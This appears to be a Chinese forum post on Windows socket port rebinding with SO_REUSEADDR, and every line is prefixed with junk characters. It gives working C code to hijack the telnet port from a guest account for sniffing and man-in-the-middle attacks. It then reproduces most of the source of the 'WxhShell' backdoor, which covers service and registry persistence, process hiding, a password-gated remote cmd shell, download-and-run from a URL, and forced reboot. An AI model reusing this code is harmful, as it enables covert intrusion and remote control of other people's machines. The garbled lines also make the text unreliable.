在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
v{<[)cr s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
dgo3'ZO
@WKzX41' saddr.sin_family = AF_INET;
99EXo+g [0UGuj saddr.sin_addr.s_addr = htonl(INADDR_ANY);
eVl'\aUd J/6`oh?,Q bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
:ZDMNhUl
& 178Mb\8 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
9RwawTM !SKV!xH9 这意味着什么?意味着可以进行如下的攻击:
;;)`c/$ {>bW>RO) 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
="d*E/## 5%}wV,Y 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
j:bgR8%e a1j.fA 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
_Zc%z@} gf+d!c(/ 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
iL7VFo:Q bOI3^T 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
J/A[45OD syzdd
an 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.4l/_4,s_ D?M!ra 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
xE-7P|2 *XWq?hi #include
\VSATL:] #include
~l~Tk6EM #include
B[9 (FRX #include
PNeh#PI6) DWORD WINAPI ClientThread(LPVOID lpParam);
0W^dhYO int main()
{k(eNr, {
q:8_]Qt WORD wVersionRequested;
voe7l+Xk DWORD ret;
F%rHU5CkV WSADATA wsaData;
8Q)@ BOOL val;
26n^Dy>} SOCKADDR_IN saddr;
UMN*]_'+;b SOCKADDR_IN scaddr;
,1/}^f6 int err;
gf)t)- E SOCKET s;
j6ut}Uq SOCKET sc;
B%\g kl int caddsize;
5HS~op2n/ HANDLE mt;
q*)+K9LRk DWORD tid;
rbqo"g` wVersionRequested = MAKEWORD( 2, 2 );
Wn|&cG9 err = WSAStartup( wVersionRequested, &wsaData );
xdy^^3" if ( err != 0 ) {
smQVWs> printf("error!WSAStartup failed!\n");
_;RVe"tR# return -1;
{I{:GcS }
$ex!!rqN| saddr.sin_family = AF_INET;
X%9*O[6{ 4F MAz^ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Brd,Eg IK^~X{I? saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
Bf4%G,o5 saddr.sin_port = htons(23);
a1N!mQ^ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Wd(86idnc {
}vt%R.u printf("error!socket failed!\n");
efz&@|KR return -1;
G&f7+e }
lnbmo Hv val = TRUE;
'YSuQP> //SO_REUSEADDR选项就是可以实现端口重绑定的
;,OfJ'q^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
%G3sjnI;l {
xeTgV&$@ printf("error!setsockopt failed!\n");
l|/:Ot return -1;
Z"I/ NGiU }
MQcr^Y_ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
|Wj;QO$C //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
\0FT!}
L //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
~9$X3.+ o'%eI if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
}PeZO!K {
1q.(69M ret=GetLastError();
p D=w>" printf("error!bind failed!\n");
tu%[p 4
return -1;
>adV(V< }
Ov9Q?8KzM listen(s,2);
_ :^7a3I while(1)
w36(p{#vp {
w>~M}Ahj caddsize = sizeof(scaddr);
8)0L2KL' //接受连接请求
EA{U!b]cU sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
v+1i=s2$ if(sc!=INVALID_SOCKET)
K6pR8z*? {
D>wZ0p b- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
R21~Q:b! if(mt==NULL)
u@.>WHQN {
VS/;aG$&y printf("Thread Creat Failed!\n");
PK rek break;
$R^lo$( }
(xyS7q]m }
8TZENRzx-| CloseHandle(mt);
Lu>H`B7Q" }
nwM)K
closesocket(s);
h
; kfh. WSACleanup();
hRTMFgO return 0;
yFpySvj} }
q^bO*bv DWORD WINAPI ClientThread(LPVOID lpParam)
);}t&} {
F;D1F+S SOCKET ss = (SOCKET)lpParam;
mrZ`Lm#>pS SOCKET sc;
,-rB=|w unsigned char buf[4096];
]HvZ$ SOCKADDR_IN saddr;
[6gO long num;
r[HT9 DWORD val;
w+f=RHX"{ DWORD ret;
O]nT>;PXX //如果是隐藏端口应用的话,可以在此处加一些判断
RIhOR8) //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
jQtSwVDr saddr.sin_family = AF_INET;
:%tuNJjj saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
F,v7ifo#f saddr.sin_port = htons(23);
OV5e#AOy) if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ESDB[
O+`x {
:):zNn_>` printf("error!socket failed!\n");
XT||M)# return -1;
j Selop>N }
L0&S0HG
val = 100;
^,7=X8Su if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
YBSl-G' {
d\Jji 6W ret = GetLastError();
lfS;?~W0k return -1;
!dv-8C$U }
+{rJ[J/g if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
am:.NG+ {
8B@JFpg^ ret = GetLastError();
#/WAzYt{ return -1;
A8dI:E+$ }
8wF#e\Va0 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
Gc;B[/: {
9e5gy printf("error!socket connect failed!\n");
(fXq<GXAn/ closesocket(sc);
l\}25
e closesocket(ss);
GNghB( return -1;
.[f;(WR }
1VfSSO while(1)
#pu}y,QN$ {
o=9' //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
YsAF{ //如果是嗅探内容的话,可以再此处进行内容分析和记录
RG?MRxC //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
,h!X k num = recv(ss,buf,4096,0);
aJ2H.E if(num>0)
wD=am send(sc,buf,num,0);
R{<Y4C2~ else if(num==0)
BLW]|p|1: break;
? ICDIn num = recv(sc,buf,4096,0);
/J;]u3e| if(num>0)
k!13=Gh send(ss,buf,num,0);
fq Y1ggL else if(num==0)
p\+6"28{_~ break;
pF='jj51 }
nW&$~d closesocket(ss);
ylkqhs& closesocket(sc);
SOI)/u return 0 ;
&"AQ;%&N }
L<)Z> @fR 0P9Wy!f7 "/y|VTV" ==========================================================
AM?Ec1S
#a 5bBCpNa 下边附上一个代码,,WXhSHELL
DR{]sG 6S_y%8Fv&[ ==========================================================
0UD"^zgY NUu;tjt: #include "stdafx.h"
;KS`,<^- ;fx1!:;. #include <stdio.h>
]Wy.R6 #include <string.h>
_ _=s' #include <windows.h>
Ps 7_-cH #include <winsock2.h>
@Mr}6x* #include <winsvc.h>
5Jw"{V?Ak #include <urlmon.h>
fKYKW?g;)Z H PTHF #pragma comment (lib, "Ws2_32.lib")
"GLYyC #pragma comment (lib, "urlmon.lib")
\^m.dIPdO LJ
l1v #define MAX_USER 100 // 最大客户端连接数
TMY{OI8 a #define BUF_SOCK 200 // sock buffer
>D3zV.R #define KEY_BUFF 255 // 输入 buffer
Hir(6Bt (uT^Nn9L= #define REBOOT 0 // 重启
4ac1m,Jlt #define SHUTDOWN 1 // 关机
FpC~1Nau k -]xSKG #define DEF_PORT 5000 // 监听端口
zf7rF} y&3TQ]f\ #define REG_LEN 16 // 注册表键长度
%/md"S #define SVC_LEN 80 // NT服务名长度
kdd7Xbw- kDg{>mf // 从dll定义API
wXcMt>3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
:o<N!*pT typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
H8<m9zDvl typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
!?n50 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7 BK46x 776 nWw) // wxhshell配置信息
!*8#jy struct WSCFG {
PAr|1i)mB int ws_port; // 监听端口
.f+9 A> char ws_passstr[REG_LEN]; // 口令
/evaTQPz int ws_autoins; // 安装标记, 1=yes 0=no
FSVS4mtiX\ char ws_regname[REG_LEN]; // 注册表键名
^
`E@/<w8 char ws_svcname[REG_LEN]; // 服务名
aulaX/'-_ char ws_svcdisp[SVC_LEN]; // 服务显示名
[[&)cbv char ws_svcdesc[SVC_LEN]; // 服务描述信息
WRY~fM char ws_passmsg[SVC_LEN]; // 密码输入提示信息
F*X%N_n int ws_downexe; // 下载执行标记, 1=yes 0=no
w. vY(s char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
,0FwBK char ws_filenam[SVC_LEN]; // 下载后保存的文件名
=E;
#OZO CHg]U l };
Z3Gm ,NDxFy;d // default Wxhshell configuration
+&?'KZ+Z_v struct WSCFG wscfg={DEF_PORT,
l&$*}yCK "xuhuanlingzhe",
H}(=?}+ 1,
<
)Alb\Z "Wxhshell",
(Q\\Gw "Wxhshell",
at=D&oy4"+ "WxhShell Service",
?U$}Rsk{# "Wrsky Windows CmdShell Service",
.u&|e "Please Input Your Password: ",
bt0djJRw 1,
Gk{W:866 "
http://www.wrsky.com/wxhshell.exe",
V!H(;Tuuo "Wxhshell.exe"
]}/mFY?7 };
|o|gP8 yI lV[_ // 消息定义模块
F1E.\l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
GPMrs)J*! char *msg_ws_prompt="\n\r? for help\n\r#>";
2h5tBEOX.s char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
*WD;C0?z char *msg_ws_ext="\n\rExit.";
,v|CombIc. char *msg_ws_end="\n\rQuit.";
v)%[ char *msg_ws_boot="\n\rReboot...";
/5jKX 5r char *msg_ws_poff="\n\rShutdown...";
exsQmbj* % char *msg_ws_down="\n\rSave to ";
vs+We*8H 8~}s 3j4 char *msg_ws_err="\n\rErr!";
Euqjxz char *msg_ws_ok="\n\rOK!";
;Sy/N|| z( *]'Y char ExeFile[MAX_PATH];
l#p}{ int nUser = 0;
KQ- ,W8Q5 HANDLE handles[MAX_USER];
a (P^e)< int OsIsNt;
P_v0))n{ }FHw"
{my SERVICE_STATUS serviceStatus;
F
ZM2 SERVICE_STATUS_HANDLE hServiceStatusHandle;
l&vm[3 K*0aXr? // 函数声明
jGJ.Pvc>i int Install(void);
;gdi=>S_ int Uninstall(void);
S!u6dz^[$X int DownloadFile(char *sURL, SOCKET wsh);
dD : int Boot(int flag);
T4Xtuu1 void HideProc(void);
_r~!O$2 int GetOsVer(void);
G OH int Wxhshell(SOCKET wsl);
,0BR-# void TalkWithClient(void *cs);
4c int CmdShell(SOCKET sock);
#_on{I int StartFromService(void);
|X,$?ZDap int StartWxhshell(LPSTR lpCmdLine);
4t,zHR6W oo;;y,`8py VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
IkiQOk VOID WINAPI NTServiceHandler( DWORD fdwControl );
c6f|y_2 @< wYT$ // 数据结构和表定义
|)m*EME SERVICE_TABLE_ENTRY DispatchTable[] =
#,7eQaica {
2O$95M {wscfg.ws_svcname, NTServiceMain},
q;CayN'I {NULL, NULL}
'y'T'2N3 };
=U=e?AOG2 [0h* & // 自我安装
xi;/^)r int Install(void)
U? {'n#n 5 {
F\o;t: char svExeFile[MAX_PATH];
MV%
:ES? HKEY key;
M' a& strcpy(svExeFile,ExeFile);
GU:r vS! BhOXXa{B // 如果是win9x系统,修改注册表设为自启动
@^'G&%j if(!OsIsNt) {
&G0l&8pa if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
.WBI%ci RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
;Fx') RegCloseKey(key);
_)OA$ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
)GB3=@ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
){+.8KI RegCloseKey(key);
zJz82jMm return 0;
i<B: }
6F@zCv"w }
YtV |e|aD }
i,mrMi
c# else {
#;5[('&[ #> 7')G
// 如果是NT以上系统,安装为系统服务
pg}~vb" SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
V?U%C%C|e if (schSCManager!=0)
JRHf.? {
yjGGqz$ SC_HANDLE schService = CreateService
_8,vk-,' (
I{`KKui<M schSCManager,
PN1(j| wscfg.ws_svcname,
@SKO~?7T wscfg.ws_svcdisp,
Y1$ #KC SERVICE_ALL_ACCESS,
sN6 0o 7. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
6V.awg, SERVICE_AUTO_START,
MV
Hz$hyB SERVICE_ERROR_NORMAL,
l81&[ svExeFile,
6(ka"Vu~ NULL,
L@)b%Q@a NULL,
E}xz7u NULL,
3I'M6WA NULL,
l9M#]*{ NULL
4RK.Il*d );
zAKq7'_= if (schService!=0)
/Ki0+(4 {
p2pTs&}S CloseServiceHandle(schService);
`E./p CloseServiceHandle(schSCManager);
Rel(bA-[N strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
LFk5rv'sM0 strcat(svExeFile,wscfg.ws_svcname);
hEyX~f if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
l-DGy# h+z RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
WE+sFaKq- RegCloseKey(key);
2(+RIu0d return 0;
m1^dT_7Z
}
&(5^vw<0 }
5W?yj>JR CloseServiceHandle(schSCManager);
g28S3 '2 }
8L]gQ g }
{B'Gm]4 "7Toc4 return 1;
j\XX:uU_ }
c,6<7 sh',"S#=@ // 自我卸载
L #t-KLJ int Uninstall(void)
2 ||KP|5@ {
R-g>W HKEY key;
M!xm1-,[ DiZ!c"$ if(!OsIsNt) {
7i-W*Mb: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
q#mFN/.(+ RegDeleteValue(key,wscfg.ws_regname);
gE-w]/1zD5 RegCloseKey(key);
q8'@dH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
M9uH&CD6U RegDeleteValue(key,wscfg.ws_regname);
H$k![K6Uj RegCloseKey(key);
?=/}Ft return 0;
JL"
3#p} }
afxj[;p! }
zxk??0]/ }
%4|n-`: else {
G/LXUhuif hO+O0=$}wN SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
-(4E if (schSCManager!=0)
|x _-I#H {
_|^&eT-u SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
d&[M8( if (schService!=0)
*pcbwd!/ {
;55tf
l if(DeleteService(schService)!=0) {
?L<UOv7;t CloseServiceHandle(schService);
S7Iu?R_I CloseServiceHandle(schSCManager);
C:tSCNH[ return 0;
[I+)Ak5 }
+WV_`Rx# CloseServiceHandle(schService);
Ux%\Y.PPI }
^'C,WZt CloseServiceHandle(schSCManager);
o+if%3 }
4e(9@OLP }
\,@Yl.,+ VurP1@e& return 1;
#VQGN2bK. }
'-nuH;r giPhW> // 从指定url下载文件
D]G'R5H int DownloadFile(char *sURL, SOCKET wsh)
?c=R"Yg$ {
rvwl HRESULT hr;
Ab^>z char seps[]= "/";
l ) )~& char *token;
Ru
vG1" char *file;
j(@g
char myURL[MAX_PATH];
H3/Y char myFILE[MAX_PATH];
HggR=>s Y1U"HqNl* strcpy(myURL,sURL);
t9f4P^V` token=strtok(myURL,seps);
c]g<XVI
while(token!=NULL)
>'2w\Uk~: {
UgnsV*e & file=token;
"a0u-}/D token=strtok(NULL,seps);
~kSnXJv }
V(''p{ ig.6[5a\ GetCurrentDirectory(MAX_PATH,myFILE);
.^)C:XiW strcat(myFILE, "\\");
LAK-!!0X strcat(myFILE, file);
@??c<]9F send(wsh,myFILE,strlen(myFILE),0);
}0Kqy; send(wsh,"...",3,0);
U'h[{ek hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
)L(d$N=Bd if(hr==S_OK)
vs'L1$L'c return 0;
SSL%$:l@ else
b68G&z>
return 1;
V\rIN}7 f@F^W YQm }
`:bvuc( ~ ];6hxv // 系统电源模块
Q#J>vwi= int Boot(int flag)
>F\rBc& {
XTi0,e]5{u HANDLE hToken;
$3]E8t TOKEN_PRIVILEGES tkp;
"zeJ4f {-v\&w if(OsIsNt) {
>jrz;r OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
a'>$88tl LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
+EiUAs~H tkp.PrivilegeCount = 1;
-}N\REXE tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
} TX'Z?Lq AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
.
tH35/r if(flag==REBOOT) {
k`2B9,z if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
yZ?_q$4kEI return 0;
k^dCX+ }
?{.b9` else {
8x^H<y=O if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Z#TgFQ3u return 0;
f_5R!; }
Xb+if }
c&Su d, & else {
D
$CY:@ if(flag==REBOOT) {
*09\\
G if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
qK6
uU9z return 0;
32-3C6f@oZ }
bKt3x+x( else {
'De'(I if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
m[xf./@f{ return 0;
ZoNNM4M+ }
9a~BAH,j }
6ImV5^l &;@b&p+ return 1;
Vm1 c-,)3 }
)ejXeg {^$"/hj // win9x进程隐藏模块
V Q,\O void HideProc(void)
1:;&wf {
LnRi+n[@7 `.sIZku HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
^K77V$v if ( hKernel != NULL )
.J6j" {
%dk$K!5D0 pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
MlC-Aad( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
l&^[cR FreeLibrary(hKernel);
[>Kxm }
zk 'e6
4qSS<SqY return;
9
K / }
%wjU^Urya TNPGw! // 获取操作系统版本
a+a%}76N int GetOsVer(void)
>A'!T'"~ {
: .w'gU_ OSVERSIONINFO winfo;
]kplb0` winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
4;c_ %=cU GetVersionEx(&winfo);
VY&9kN if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
85@6uBh return 1;
tSXjp else
_Fh0^O@ return 0;
p2NB~t7Z }
X8l1xD J>|:T // 客户端句柄模块
f?<M3P int Wxhshell(SOCKET wsl)
$E~Lu$| {
K[|P6J SOCKET wsh;
`SS~=~WY struct sockaddr_in client;
z#E,96R DWORD myID;
NW>:Lz
?" ~{7NTW while(nUser<MAX_USER)
2|NyAtPb5 {
1yRd10 int nSize=sizeof(client);
XOU-8;d wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
Boj{+rE0 if(wsh==INVALID_SOCKET) return 1;
owY_cDzrH cSs/XJZ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
0!'M#'m if(handles[nUser]==0)
7/OOq=z closesocket(wsh);
3]]6z K^i else
!RUo:b+ nUser++;
&$z1Hz +l }
a3
_0F@I WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
g$T_yT'' >93{=+ return 0;
qF6%XKbh= }
ZE(RvPW n]{}C.C= // 关闭 socket
N8(x), void CloseIt(SOCKET wsh)
.Zt/e>K& {
0JRBNh closesocket(wsh);
ZG[0rvW nUser--;
Joo)GIB ExitThread(0);
<C`eZ}Qqv }
r|F,\fF <@j // 客户端请求句柄
Uus)2R7 void TalkWithClient(void *cs)
%Kfa|&'zV {
7<Js'\Z |Gs-9+'y SOCKET wsh=(SOCKET)cs;
2?nyPqT3AM char pwd[SVC_LEN];
:@ 8.t,| char cmd[KEY_BUFF];
! tPK"k char chr[1];
ZXDMbMD int i,j;
L8K 3&[l% n2hsG.4 while (nUser < MAX_USER) {
!9cP NIi h=y(2xA if(wscfg.ws_passstr) {
:Du{8rV if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
b`Ek;nYek //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9/KQAc* //ZeroMemory(pwd,KEY_BUFF);
B;7s ]R i=0;
<0qY8 while(i<SVC_LEN) {
]G&\L~P l
YA+k5 // 设置超时
%|* y/m fd_set FdRead;
#YVDOR{z struct timeval TimeOut;
cCKda3v!O FD_ZERO(&FdRead);
R#bV/7Ol FD_SET(wsh,&FdRead);
0H]9$D TimeOut.tv_sec=8;
&>4$ [m>n TimeOut.tv_usec=0;
daJ-H int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
so&3A&4cL if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
(qONeLf% J;Xz'0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
:*%\i' $!/ pwd
=chr[0]; l+X^x%EA
if(chr[0]==0xd || chr[0]==0xa) { Sh6 NgO
pwd=0; ct/THq
break; Z$K%@q,10+
} "Ksd9,J\b
i++; yXl.Gq>]{
} c+XR
DYk->)
// 如果是非法用户,关闭 socket /38Pp%
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); UiN ^x
} by ee-BU
F+-MafN7Y
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2p.+C35c=j
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8>+eGz|
mYRR==iDL
while(1) { EHJc*WFPU-
V0B4<TTAo~
ZeroMemory(cmd,KEY_BUFF); ArKrsI#H-
j*\MUR=
// 自动支持客户端 telnet标准 sW`iXsbWM>
j=0; uV\#J{'*
while(j<KEY_BUFF) { 2uB26SEIl
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); *Y>'v%
cmd[j]=chr[0]; "d*
if(chr[0]==0xa || chr[0]==0xd) { 3CL:VwoW
cmd[j]=0; 1fG@r%4
break; uB! P>v6
} R
dzIb-
j++; V:np cKpu
} iKO~#9OF
imuHSxcaV
// 下载文件 9{&x-ugM
if(strstr(cmd,"http://")) { 49>yIuG
send(wsh,msg_ws_down,strlen(msg_ws_down),0); +eat,3Ji
if(DownloadFile(cmd,wsh)) _+7f+eB
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2)H|/
else wOSNlbQ5jl
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O3^@" IY
} 9$t@Gmn
else { wIPDeC4
,peFNpi
switch(cmd[0]) { 0(.C f.B~
<m\TZQBD
// 帮助 v2SsfhT
case '?': { S+ x[1#r
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); hD=D5LYAZ
break; 8 F 1ga15
} R'_[RHFC
// 安装 }zLE*b,
case 'i': { z}|'&O*.F
if(Install()) d@~)Wlje
send(wsh,msg_ws_err,strlen(msg_ws_err),0); #-8/|_*
else z oXF"Nz
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3?<vnpN=5d
break; ,s<d"]<
} Yi,um-%
// 卸载 Ds$;{wl#x
case 'r': { F U%b"gP^
if(Uninstall()) |9@;Muq;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); @ZWKs
else =!2
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 5
[*jfOz
break; n+w>Qz'
} @B <_h+
// 显示 wxhshell 所在路径 WbF\=;$=7
case 'p': { Ro69woU
char svExeFile[MAX_PATH]; -R]S)Odml
strcpy(svExeFile,"\n\r"); "^%Il
strcat(svExeFile,ExeFile); 2^:nlM{u
send(wsh,svExeFile,strlen(svExeFile),0); vOU-bF%u
break; ?z.`rD$}(n
} l K%Hb=
// 重启 a$-ax[:\sm
case 'b': { _t7A'`Dh]
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); W@LR!EW)
if(Boot(REBOOT)) \wP$"Z}j
send(wsh,msg_ws_err,strlen(msg_ws_err),0); B;$5*3D+
else { ny0`~bl{p
closesocket(wsh); 0Oq1ay^
ExitThread(0); mNzZ/*n:
} e78}
break; 6C=.8eP
} nfEk ,(:
// 关机 xae7#d0
case 'd': { T/nRc_I+^B
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); V"z0]DP5~
if(Boot(SHUTDOWN)) 9lwg`UWl,
send(wsh,msg_ws_err,strlen(msg_ws_err),0); mD:!"h/
else { '>8N'*
closesocket(wsh); 4D5)<3N=d'
ExitThread(0); Y-9F*8<
} [Pl$=[+
break; Yp$lc^)c>
} S45jY=)z
// 获取shell ]](hwj
case 's': { od>.5{o
CmdShell(wsh); XooAL0w
closesocket(wsh); z'o+3zq^
ExitThread(0); O@VmV>m
break; r0,}f\
} F$v
G=3
// 退出 |b'AWI81D
case 'x': { w67Pw
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); H}/1/5L
CloseIt(wsh); TOs|f8ay
break; b?l\QMvi
} G4~J+5m k
// 离开 GOjri
case 'q': { o<;"+ @v
send(wsh,msg_ws_end,strlen(msg_ws_end),0); U-d&q>_@A
closesocket(wsh); n/-I7Q!;u
WSACleanup(); YZd4% zF
exit(1); 43YusUv
break; sj1x>
} (]L=$u4
} xo}hu%XL
} +Aq}BjD#
!|]%^G
// 提示信息 bZ=d!)%P-{
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); G9]GK+@&F
} '?nhpT^
} ?:,j9:m?
l%fl=i~oN
return; ;iWCV&>w
} W NCd k$
L=>N#QR7
// shell模块句柄 :v+39
int CmdShell(SOCKET sock) o_S8fHqjt
{ b^1!_1c
STARTUPINFO si; _?8T'?-1
ZeroMemory(&si,sizeof(si)); NB[b[1 Ch
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; y_w4ei
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; l)zS}"F,
PROCESS_INFORMATION ProcessInfo; on~rrSK
char cmdline[]="cmd";
gBN;j
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 7_LE2jpC,5
return 0; fu/v1~X
} [>fE{~Y
iqpy5
// 自身启动模式 j`bOJTBE
int StartFromService(void) V@F~Cx
{ n#iL[
&/Aw
typedef struct z`W$/tw"
{ ><Z2uJZ4x
DWORD ExitStatus; K-/fq=z
DWORD PebBaseAddress; !GO4cbdQ
DWORD AffinityMask; ~*RNJ
DWORD BasePriority; h
c"n?
ULONG UniqueProcessId; 3OTSLF/
ULONG InheritedFromUniqueProcessId; #'8E%4
} PROCESS_BASIC_INFORMATION; 6<2 7}S
AO/R2a(:
